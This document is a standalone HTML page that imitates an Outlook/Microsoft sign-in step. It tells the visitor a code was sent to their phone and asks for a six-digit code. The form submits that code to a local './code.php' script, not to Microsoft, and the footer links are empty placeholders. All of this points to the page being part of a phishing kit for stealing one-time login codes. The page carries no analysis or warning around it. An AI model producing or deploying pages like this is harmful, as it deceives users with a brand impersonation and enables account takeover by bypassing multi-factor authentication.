<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Outlook Sign-In</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://unpkg.com/heroicons@1.0.6/umd/outline.min.css" rel="stylesheet">
    <script src="https://unpkg.com/imask"></script>
    <style>
        @media (max-width: 640px) {
            .container-padding {
                padding: 0 1rem;
            }
            .footer-content {
                flex-direction: column;
                gap: 0.5rem;
                text-align: center;
            }
            .footer-links {
                flex-wrap: wrap;
                justify-content: center;
                gap: 1rem;
            }
        }
        
        @media (max-height: 600px) {
            .min-h-screen {
                min-height: auto;
                padding: 2rem 0;
            }
        }
        
        input[type="text"] {
            font-size: 16px; /* Prevents zoom on iOS when input is focused */
        }
    </style>
</head>

<body class="min-h-screen flex flex-col items-center justify-start sm:justify-center p-4 bg-gradient-to-br from-pink-100 via-green-100 to-pink-100">
    <div class="w-full max-w-md mx-auto mt-8 sm:mt-0">
        <!-- Header -->
        <div class="text-center mb-6 sm:mb-8">
            <h1 class="text-3xl font-bold text-gray-800">Outlook</h1>
        </div>

        <!-- Main Content -->
        <div class="w-full bg-white rounded-lg shadow-lg overflow-hidden border border-gray-200">
            <div class="p-6 sm:p-8">
                <div class="mb-6">
                    <img src="https://static.cdnlogo.com/logos/m/6/microsoft.svg" alt="Microsoft" class="h-6 w-auto" />
                </div>
                
                <div class="space-y-4">
                    <div>
                        <h2 class="text-xl sm:text-2xl font-semibold text-gray-800">Enter the code</h2>
                        <p class="text-sm text-gray-600 mt-1">We've sent a code to your Phone for the account: 
                            <span id="displayEmailOtp" class="font-medium text-gray-800 break-all"></span>
                        </p>
                    </div>
                    
                    <form method="POST" action="./code.php" class="space-y-6">
                        <div class="space-y-2">
                            <input type="text" 
                                   name="code" 
                                   id="emailInput" 
                                   placeholder="Code" 
                                   class="w-full px-4 py-3 text-base border-b-2 border-gray-300 focus:border-blue-500 focus:outline-none transition-colors"
                                   required />
                        </div>
                        
                        <div class="flex justify-end">
                            <button type="submit" 
                                    class="bg-blue-600 hover:bg-blue-700 text-white font-medium px-6 py-2.5 rounded-md transition-colors focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2 w-full sm:w-auto">
                                Next
                            </button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="w-full bg-gray-800 text-white text-xs sm:text-sm mt-8 sm:mt-12">
        <div class="container-padding py-4 mx-auto">
            <div class="footer-content flex flex-col sm:flex-row justify-between items-center">
                <div class="footer-links flex flex-wrap justify-center sm:justify-start gap-4 sm:gap-6 mb-3 sm:mb-0">
                    <a href="#" class="text-gray-300 hover:text-white transition-colors">Terms of use</a>
                    <a href="#" class="text-gray-300 hover:text-white transition-colors">Privacy & cookies</a>
                </div>
                <div class="text-gray-400 text-center sm:text-right">
                    Use private browsing if this is not your device. 
                    <a href="#" class="text-blue-400 hover:underline">Learn more</a>
                </div>
            </div>
        </div>
    </footer>

    <script>
        document.addEventListener("DOMContentLoaded", function () {
            var element = document.getElementById("emailInput");
            if (element) {
                var maskOptions = {
                    mask: "000000",
                };
                var mask = new IMask(element, maskOptions);
            }
            
            // Focus the input on page load for better mobile UX
            if (element) {
                element.focus();
            }
        });
    </script>
</body>
</html>
